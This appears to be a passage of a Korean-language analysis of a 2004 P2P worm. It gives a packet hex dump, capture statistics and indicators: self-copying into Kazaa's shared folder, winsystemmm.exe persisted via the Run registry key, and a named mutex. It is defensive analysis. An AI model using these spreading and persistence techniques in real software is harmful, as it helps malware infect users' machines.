- TCP: Next expected Seq number = 2649539300

```

00000000: 00 e0 1e b9 b2 ac 00 e0 00 ae b3 d7 08 00 45 00 ..?..???. E.
00000010: 00 30 69 b1 40 00 80 06 fe 83 d3 36 15 aa d2 60 .0i?.0.??..?
00000020: d7 51 0a 99 00 50 9d ec e2 e3 00 00 00 00 70 02 ? .?P인쑈....p.
00000030: 40 00 44 d3 00 00 02 04 05 b4 01 01 04 02 0.D?.....?...

```

Variable	Value
Start capture time	2004-06-16 오전 11:17
Capture duration	0:08:08.974
Total bytes	126582
Total packets	1957
Average packet size	64
Bytes per second	258
Packets per second	4
Average utilization	0%
Line speed	10 Mbps
MAC broadcast packets	0
MAC multicast packets	0
IP packets	1957
IP bytes	126582
IP broadcast packets	0
IP multicast packets	0
TCP packets	1957
TCP bytes	126582
UDP packets	0
UDP bytes	0
ICMP packets	0
ICMP bytes	0
IFX packets	0
IFX bytes	0
IFX broadcast packets	0
IFX multicast packets	0

※ 패킷발생량 초당 4개로 미미함

- P2P 프로그램 kazaa의 공유 디렉토리에 자신을 복사
 - 확장자는 piX, scX, baX, exX 중에 하나임
- system 디렉토리에 winsystemmm.exe 파일을 생성 레지스트리에 등록 되어 재부팅 후에도 자동 실행됨
 - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
winsystemmm=C:\windows\system32\winsystemmm.exe
- Mutex를 생성하여 프로세스에 워킹 중복실행을 방지한다.
 - sync-vl.01__ipcmtx0